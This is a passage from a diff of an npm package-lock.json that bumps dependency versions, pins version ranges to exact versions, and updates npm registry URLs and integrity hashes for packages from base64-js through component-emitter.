@@ -2299,9 +2337,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"isobject": {
@@ -2330,9 +2368,9 @@
"dev": true
},
"base64-js": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.0.tgz",
- "integrity": "sha512-ccav/yGvoa80BQDljCxsmmQ3Xvx60/UpBIij5QN21W3wBi/hhIC9OoO+KLpu9IJTS9j4DRVJ3aDDF9cMSoa2lw=="
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz",
+ "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g=="
},
"base64id": {
"version": "1.0.0",
@@ -2352,7 +2390,7 @@
"integrity": "sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=",
"optional": true,
"requires": {
- "tweetnacl": "^0.14.3"
+ "tweetnacl": "0.14.5"
}
},
"better-assert": {
@@ -2381,13 +2419,13 @@
"resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz",
"integrity": "sha1-A3oM1LcbnjMf2QoRIt4X3EnkIKc=",
"requires": {
- "psl": "^1.1.7"
+ "psl": "1.1.20"
}
},
"blob": {
- "version": "0.0.4",
- "resolved": "https://registry.npmjs.org/blob/-/blob-0.0.4.tgz",
- "integrity": "sha1-vPEwUspURj8w+fx+lbmkdjCpSSE=",
+ "version": "0.0.5",
+ "resolved": "https://registry.npmjs.org/blob/-/blob-0.0.5.tgz",
+ "integrity": "sha512-gaqbzQPqOoamawKg0LGVd7SzLgXS+JH61oWprSLH+P+abTczqJbhTR8CmJ2u9/bUYNmHTGJx/UEmn6doAvvuig==",
"dev": true
},
"block-stream": {
@@ -2395,13 +2433,13 @@
"resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz",
"integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=",
"requires": {
- "inherits": "~2.0.0"
+ "inherits": "2.0.3"
}
},
"bluebird": {
- "version": "3.5.1",
- "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz",
- "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==",
+ "version": "3.5.5",
+ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.5.tgz",
+ "integrity": "sha512-5am6HnnfN+urzt4yfg7IgTbotDjIT/u8AJpEt0sIU9FtXfVeezXAPKswrG+xKUCOYAINpSdgZVDU6QFh+cuH3w==",
"dev": true
},
"bn.js": {
@@ -2411,21 +2449,21 @@
"dev": true
},
"body-parser": {
- "version": "1.18.3",
- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.3.tgz",
- "integrity": "sha1-WykhmP/dVTs6DyDe0FkrlWlVyLQ=",
+ "version": "1.19.0",
+ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+ "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
"dev": true,
"requires": {
- "bytes": "3.0.0",
- "content-type": "~1.0.4",
+ "bytes": "3.1.0",
+ "content-type": "1.0.4",
"debug": "2.6.9",
- "depd": "~1.1.2",
- "http-errors": "~1.6.3",
- "iconv-lite": "0.4.23",
- "on-finished": "~2.3.0",
- "qs": "6.5.2",
- "raw-body": "2.3.3",
- "type-is": "~1.6.16"
+ "depd": "1.1.2",
+ "http-errors": "1.7.2",
+ "iconv-lite": "0.4.24",
+ "on-finished": "2.3.0",
+ "qs": "6.7.0",
+ "raw-body": "2.4.0",
+ "type-is": "1.6.18"
},
"dependencies": {
"debug": {
@@ -2438,13 +2476,19 @@
}
},
"iconv-lite": {
- "version": "0.4.23",
- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz",
- "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==",
+ "version": "0.4.24",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+ "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
"dev": true,
"requires": {
- "safer-buffer": ">= 2.1.2 < 3"
+ "safer-buffer": "2.1.2"
}
+ },
+ "qs": {
+ "version": "6.7.0",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+ "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==",
+ "dev": true
}
}
},
@@ -2454,12 +2498,12 @@
"integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=",
"dev": true,
"requires": {
- "array-flatten": "^2.1.0",
- "deep-equal": "^1.0.1",
- "dns-equal": "^1.0.0",
- "dns-txt": "^2.0.2",
- "multicast-dns": "^6.0.1",
- "multicast-dns-service-types": "^1.1.0"
+ "array-flatten": "2.1.2",
+ "deep-equal": "1.1.0",
+ "dns-equal": "1.0.0",
+ "dns-txt": "2.0.2",
+ "multicast-dns": "6.2.3",
+ "multicast-dns-service-types": "1.1.0"
}
},
"boolbase": {
@@ -2474,7 +2518,7 @@
"integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=",
"dev": true,
"requires": {
- "hoek": "4.x.x"
+ "hoek": "4.2.1"
}
},
"bootstrap": {
@@ -2488,8 +2532,8 @@
"integrity": "sha1-F3kPVRU4rN6PlLcBhoDBRVRLsuE=",
"dev": true,
"requires": {
- "loader-utils": "^0.2.5",
- "q": "^1.0.1"
+ "loader-utils": "0.2.17",
+ "q": "1.5.0"
}
},
"brace-expansion": {
@@ -2497,7 +2541,7 @@
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz",
"integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=",
"requires": {
- "balanced-match": "^1.0.0",
+ "balanced-match": "1.0.0",
"concat-map": "0.0.1"
}
},
@@ -2508,9 +2552,9 @@
"dev": true,
"optional": true,
"requires": {
- "expand-range": "^1.8.1",
- "preserve": "^0.2.0",
- "repeat-element": "^1.1.2"
+ "expand-range": "1.8.2",
+ "preserve": "0.2.0",
+ "repeat-element": "1.1.2"
}
},
"brorand": {
@@ -2531,12 +2575,12 @@
"integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==",
"dev": true,
"requires": {
- "buffer-xor": "^1.0.3",
- "cipher-base": "^1.0.0",
- "create-hash": "^1.1.0",
- "evp_bytestokey": "^1.0.3",
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
+ "buffer-xor": "1.0.3",
+ "cipher-base": "1.0.4",
+ "create-hash": "1.2.0",
+ "evp_bytestokey": "1.0.3",
+ "inherits": "2.0.3",
+ "safe-buffer": "5.1.1"
}
},
"browserify-cipher": {
@@ -2545,9 +2589,9 @@
"integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==",
"dev": true,
"requires": {
- "browserify-aes": "^1.0.4",
- "browserify-des": "^1.0.0",
- "evp_bytestokey": "^1.0.0"
+ "browserify-aes": "1.2.0",
+ "browserify-des": "1.0.2",
+ "evp_bytestokey": "1.0.3"
}
},
"browserify-des": {
@@ -2556,16 +2600,16 @@
"integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==",
"dev": true,
"requires": {
- "cipher-base": "^1.0.1",
- "des.js": "^1.0.0",
- "inherits": "^2.0.1",
- "safe-buffer": "^5.1.2"
+ "cipher-base": "1.0.4",
+ "des.js": "1.0.0",
+ "inherits": "2.0.3",
+ "safe-buffer": "5.2.0"
},
"dependencies": {
"safe-buffer": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
- "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
+ "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==",
"dev": true
}
}
@@ -2576,8 +2620,8 @@
"integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=",
"dev": true,
"requires": {
- "bn.js": "^4.1.0",
- "randombytes": "^2.0.1"
+ "bn.js": "4.11.8",
+ "randombytes": "2.1.0"
}
},
"browserify-sign": {
@@ -2586,13 +2630,13 @@
"integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=",
"dev": true,
"requires": {
- "bn.js": "^4.1.1",
- "browserify-rsa": "^4.0.0",
- "create-hash": "^1.1.0",
- "create-hmac": "^1.1.2",
- "elliptic": "^6.0.0",
- "inherits": "^2.0.1",
- "parse-asn1": "^5.0.0"
+ "bn.js": "4.11.8",
+ "browserify-rsa": "4.0.1",
+ "create-hash": "1.2.0",
+ "create-hmac": "1.1.7",
+ "elliptic": "6.5.1",
+ "inherits": "2.0.3",
+ "parse-asn1": "5.1.5"
}
},
"browserify-zlib": {
@@ -2601,7 +2645,7 @@
"integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==",
"dev": true,
"requires": {
- "pako": "~1.0.5"
+ "pako": "1.0.10"
}
},
"browserslist": {
@@ -2610,27 +2654,17 @@
"integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==",
"dev": true,
"requires": {
- "caniuse-lite": "^1.0.30000844",
- "electron-to-chromium": "^1.3.47"
+ "caniuse-lite": "1.0.30000877",
+ "electron-to-chromium": "1.3.58"
}
},
"buffer": {
- "version": "4.9.1",
- "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz",
- "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=",
- "dev": true,
+ "version": "5.4.0",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.4.0.tgz",
+ "integrity": "sha512-Xpgy0IwHK2N01ncykXTy6FpCWuM+CJSHoPVBLyNqyrWxsedpLvwsYUhf0ME3WRFNUhos0dMamz9cOS/xRDtU5g==",
"requires": {
- "base64-js": "^1.0.2",
- "ieee754": "^1.1.4",
- "isarray": "^1.0.0"
- },
- "dependencies": {
- "isarray": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
- "dev": true
- }
+ "base64-js": "1.3.1",
+ "ieee754": "1.1.13"
}
},
"buffer-alloc": {
@@ -2639,8 +2673,8 @@
"integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==",
"dev": true,
"requires": {
- "buffer-alloc-unsafe": "^1.1.0",
- "buffer-fill": "^1.0.0"
+ "buffer-alloc-unsafe": "1.1.0",
+ "buffer-fill": "1.0.0"
}
},
"buffer-alloc-unsafe": {
@@ -2655,6 +2689,12 @@
"integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=",
"dev": true
},
+ "buffer-from": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz",
+ "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==",
+ "dev": true
+ },
"buffer-indexof": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/buffer-indexof/-/buffer-indexof-1.1.1.tgz",
@@ -2679,37 +2719,60 @@
"dev": true
},
"bytes": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
- "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=",
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
+ "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==",
"dev": true
},
"cacache": {
- "version": "10.0.4",
- "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz",
- "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==",
+ "version": "12.0.3",
+ "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.3.tgz",
+ "integrity": "sha512-kqdmfXEGFepesTuROHMs3MpFLWrPkSSpRqOw80RCflZXy/khxaArvFrQ7uJxSUduzAufc6G0g1VUCOZXxWavPw==",
"dev": true,
"requires": {
- "bluebird": "^3.5.1",
- "chownr": "^1.0.1",
- "glob": "^7.1.2",
- "graceful-fs": "^4.1.11",
- "lru-cache": "^4.1.1",
- "mississippi": "^2.0.0",
- "mkdirp": "^0.5.1",
- "move-concurrently": "^1.0.1",
- "promise-inflight": "^1.0.1",
- "rimraf": "^2.6.2",
- "ssri": "^5.2.4",
- "unique-filename": "^1.1.0",
- "y18n": "^4.0.0"
+ "bluebird": "3.5.5",
+ "chownr": "1.1.2",
+ "figgy-pudding": "3.5.1",
+ "glob": "7.1.4",
+ "graceful-fs": "4.2.2",
+ "infer-owner": "1.0.4",
+ "lru-cache": "5.1.1",
+ "mississippi": "3.0.0",
+ "mkdirp": "0.5.1",
+ "move-concurrently": "1.0.1",
+ "promise-inflight": "1.0.1",
+ "rimraf": "2.7.1",
+ "ssri": "6.0.1",
+ "unique-filename": "1.1.1",
+ "y18n": "4.0.0"
},
"dependencies": {
+ "graceful-fs": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.2.tgz",
+ "integrity": "sha512-IItsdsea19BoLC7ELy13q1iJFNmd7ofZH5+X/pJr90/nRoPEX0DJo1dHDbgtYWOhJhcCgMDTOw84RZ72q6lB+Q==",
+ "dev": true
+ },
+ "lru-cache": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+ "dev": true,
+ "requires": {
+ "yallist": "3.0.3"
+ }
+ },
"y18n": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz",
"integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==",
"dev": true
+ },
+ "yallist": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.0.3.tgz",
+ "integrity": "sha512-S+Zk8DEWE6oKpV+vI3qWkaK+jSbIK86pCwe2IF/xwIpQ8jEuxpw9NyaGjmp9+BoJv5FV2piqCDcoCtStppiq2A==",
+ "dev": true
}
}
},
@@ -2719,15 +2782,15 @@
"integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
"dev": true,
"requires": {
- "collection-visit": "^1.0.0",
- "component-emitter": "^1.2.1",
- "get-value": "^2.0.6",
- "has-value": "^1.0.0",
- "isobject": "^3.0.1",
- "set-value": "^2.0.0",
- "to-object-path": "^0.3.0",
- "union-value": "^1.0.0",
- "unset-value": "^1.0.0"
+ "collection-visit": "1.0.0",
+ "component-emitter": "1.3.0",
+ "get-value": "2.0.6",
+ "has-value": "1.0.0",
+ "isobject": "3.0.1",
+ "set-value": "2.0.1",
+ "to-object-path": "0.3.0",
+ "union-value": "1.0.1",
+ "unset-value": "1.0.0"
},
"dependencies": {
"isobject": {
@@ -2743,23 +2806,15 @@
"resolved": "https://registry.npmjs.org/caller-callsite/-/caller-callsite-2.0.0.tgz",
"integrity": "sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=",
"requires": {
- "callsites": "^2.0.0"
- },
- "dependencies": {
- "callsites": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/callsites/-/callsites-2.0.0.tgz",
- "integrity": "sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA="
- }
+ "callsites": "2.0.0"
}
},
"caller-path": {
- "version": "0.1.0",
- "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz",
- "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=",
- "dev": true,
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-2.0.0.tgz",
+ "integrity": "sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=",
"requires": {
- "callsites": "^0.2.0"
+ "caller-callsite": "2.0.0"
}
},
"callsite": {
@@ -2769,10 +2824,9 @@
"dev": true
},
"callsites": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz",
- "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=",
- "dev": true
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-2.0.0.tgz",
+ "integrity": "sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA="
},
"camel-case": {
"version": "3.0.0",
@@ -2780,8 +2834,8 @@
"integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=",
"dev": true,
"requires": {
- "no-case": "^2.2.0",
- "upper-case": "^1.1.1"
+ "no-case": "2.3.2",
+ "upper-case": "1.1.3"
}
},
"camelcase": {
@@ -2796,8 +2850,8 @@
"resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz",
"integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=",
"requires": {
- "camelcase": "^2.0.0",
- "map-obj": "^1.0.0"
+ "camelcase": "2.1.1",
+ "map-obj": "1.0.1"
},
"dependencies": {
"camelcase": {
@@ -2825,8 +2879,8 @@
"dev": true,
"optional": true,
"requires": {
- "align-text": "^0.1.3",
- "lazy-cache": "^1.0.3"
+ "align-text": "0.1.4",
+ "lazy-cache": "1.0.4"
}
},
"chai": {
@@ -2835,12 +2889,12 @@
"integrity": "sha512-XQU3bhBukrOsQCuwZndwGcCVQHyZi53fQ6Ys1Fym7E4olpIqqZZhhoFJoaKVvV17lWQoXYwgWN2nF5crA8J2jw==",
"dev": true,
"requires": {
- "assertion-error": "^1.1.0",
- "check-error": "^1.0.2",
- "deep-eql": "^3.0.1",
- "get-func-name": "^2.0.0",
- "pathval": "^1.1.0",
- "type-detect": "^4.0.5"
+ "assertion-error": "1.1.0",
+ "check-error": "1.0.2",
+ "deep-eql": "3.0.1",
+ "get-func-name": "2.0.0",
+ "pathval": "1.1.0",
+ "type-detect": "4.0.8"
}
},
"chalk": {
@@ -2848,11 +2902,11 @@
"resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz",
"integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=",
"requires": {
- "ansi-styles": "^2.2.1",
- "escape-string-regexp": "^1.0.2",
- "has-ansi": "^2.0.0",
- "strip-ansi": "^3.0.0",
- "supports-color": "^2.0.0"
+ "ansi-styles": "2.2.1",
+ "escape-string-regexp": "1.0.5",
+ "has-ansi": "2.0.0",
+ "strip-ansi": "3.0.1",
+ "supports-color": "2.0.0"
}
},
"change-emitter": {
@@ -2879,30 +2933,30 @@
"dev": true,
"optional": true,
"requires": {
- "anymatch": "^1.3.0",
- "async-each": "^1.0.0",
- "fsevents": "^1.0.0",
- "glob-parent": "^2.0.0",
- "inherits": "^2.0.1",
- "is-binary-path": "^1.0.0",
- "is-glob": "^2.0.0",
- "path-is-absolute": "^1.0.0",
- "readdirp": "^2.0.0"
+ "anymatch": "1.3.2",
+ "async-each": "1.0.1",
+ "fsevents": "1.1.2",
+ "glob-parent": "2.0.0",
+ "inherits": "2.0.3",
+ "is-binary-path": "1.0.1",
+ "is-glob": "2.0.1",
+ "path-is-absolute": "1.0.1",
+ "readdirp": "2.1.0"
}
},
"chownr": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.1.tgz",
- "integrity": "sha512-j38EvO5+LHX84jlo6h4UzmOwi0UgW61WRyPtJz4qaadK5eY3BTS5TY/S1Stc3Uk2lIM6TPevAlULiEJwie860g==",
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.2.tgz",
+ "integrity": "sha512-GkfeAQh+QNy3wquu9oIZr6SS5x7wGdSgNQvD10X3r+AZr1Oys22HW8kAmDMvNg2+Dm0TeGaEuO8gFwdBXxwO8A==",
"dev": true
},
"chrome-trace-event": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.0.tgz",
- "integrity": "sha512-xDbVgyfDTT2piup/h8dK/y4QZfJRSa73bw1WZ8b4XM1o7fsFubUVGYcE+1ANtOzJJELGpYoG2961z0Z6OAld9A==",
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz",
+ "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==",
"dev": true,
"requires": {
- "tslib": "^1.9.0"
+ "tslib": "1.10.0"
}
},
"cipher-base": {
@@ -2911,14 +2965,14 @@
"integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
+ "inherits": "2.0.3",
+ "safe-buffer": "5.1.1"
}
},
"circular-json": {
- "version": "0.3.3",
- "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz",
- "integrity": "sha512-UZK3NBx2Mca+b5LsG7bY183pHWt5Y1xts4P3Pz7ENTwGVnJOUWbRb3ocjvX7hx9tq/yTAdclXm9sZ38gNuem4A==",
+ "version": "0.5.9",
+ "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.5.9.tgz",
+ "integrity": "sha512-4ivwqHpIFJZBuhN3g/pEcdbnGUywkBblloGbkglyloVjjR3uT6tieI89MVOfbP2tHX5sgb01FuLgAOzebNlJNQ==",
"dev": true
},
"class-utils": {
@@ -2927,10 +2981,10 @@
"integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
"dev": true,
"requires": {
- "arr-union": "^3.1.0",
- "define-property": "^0.2.5",
- "isobject": "^3.0.0",
- "static-extend": "^0.1.1"
+ "arr-union": "3.1.0",
+ "define-property": "0.2.5",
+ "isobject": "3.0.1",
+ "static-extend": "0.1.2"
},
"dependencies": {
"define-property": {
@@ -2939,7 +2993,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
},
"isobject": {
@@ -2953,7 +3007,7 @@
"classnames": {
"version": "2.2.6",
"resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz",
- "integrity": "sha1-Q5Nb/90pHzJtrQogUwmzjQD2UM4="
+ "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q=="
},
"clean-css": {
"version": "4.1.11",
@@ -2961,7 +3015,7 @@
"integrity": "sha1-Ls3xRaujj1R0DybO/Q/z4D4SXWo=",
"dev": true,
"requires": {
- "source-map": "0.5.x"
+ "source-map": "0.5.6"
}
},
"cli-cursor": {
@@ -2970,7 +3024,7 @@
"integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=",
"dev": true,
"requires": {
- "restore-cursor": "^2.0.0"
+ "restore-cursor": "2.0.0"
}
},
"cli-width": {
@@ -2986,8 +3040,8 @@
"dev": true,
"optional": true,
"requires": {
- "center-align": "^0.1.1",
- "right-align": "^0.1.1",
+ "center-align": "0.1.3",
+ "right-align": "0.1.3",
"wordwrap": "0.0.2"
},
"dependencies": {
@@ -3001,24 +3055,15 @@
}
},
"clone-deep": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz",
- "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==",
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz",
+ "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==",
"requires": {
- "for-own": "^1.0.0",
- "is-plain-object": "^2.0.4",
- "kind-of": "^6.0.0",
- "shallow-clone": "^1.0.0"
+ "is-plain-object": "2.0.4",
+ "kind-of": "6.0.2",
+ "shallow-clone": "3.0.1"
},
"dependencies": {
- "for-own": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz",
- "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=",
- "requires": {
- "for-in": "^1.0.1"
- }
- },
"kind-of": {
"version": "6.0.2",
"resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
@@ -3029,7 +3074,8 @@
"co": {
"version": "4.6.0",
"resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
- "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ="
+ "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=",
+ "dev": true
},
"code-point-at": {
"version": "1.1.0",
@@ -3042,8 +3088,8 @@
"integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=",
"dev": true,
"requires": {
- "map-visit": "^1.0.0",
- "object-visit": "^1.0.0"
+ "map-visit": "1.0.0",
+ "object-visit": "1.0.1"
}
},
"color-convert": {
@@ -3052,7 +3098,7 @@
"integrity": "sha1-Gsz5fdc5uYO/mU1W/sj5WFNkG3o=",
"dev": true,
"requires": {
- "color-name": "^1.1.1"
+ "color-name": "1.1.3"
}
},
"color-name": {
@@ -3062,9 +3108,9 @@
"dev": true
},
"colors": {
- "version": "1.3.1",
- "resolved": "https://registry.npmjs.org/colors/-/colors-1.3.1.tgz",
- "integrity": "sha512-jg/vxRmv430jixZrC+La5kMbUWqIg32/JsYNZb94+JEmzceYbWKTsv1OuTp+7EaqiaWRR2tPcykibwCRgclIsw==",
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/colors/-/colors-1.3.3.tgz",
+ "integrity": "sha512-mmGt/1pZqYRjMxB1axhTo16/snVZ5krrKkcmMeVKxzECMMXoCgnvTPp10QgHfcbQZw8Dq2jMNG6je4JlWU0gWg==",
"dev": true
},
"combine-lists": {
@@ -3073,7 +3119,7 @@
"integrity": "sha1-RYwH4J4NkA/Ci3Cj/sLazR0st/Y=",
"dev": true,
"requires": {
- "lodash": "^4.5.0"
+ "lodash": "4.17.10"
}
},
"combined-stream": {
@@ -3081,7 +3127,7 @@
"resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz",
"integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=",
"requires": {
- "delayed-stream": "~1.0.0"
+ "delayed-stream": "1.0.0"
}
},
"commander": {
@@ -3102,9 +3148,9 @@
"dev": true
},
"component-emitter": {
- "version": "1.2.1",
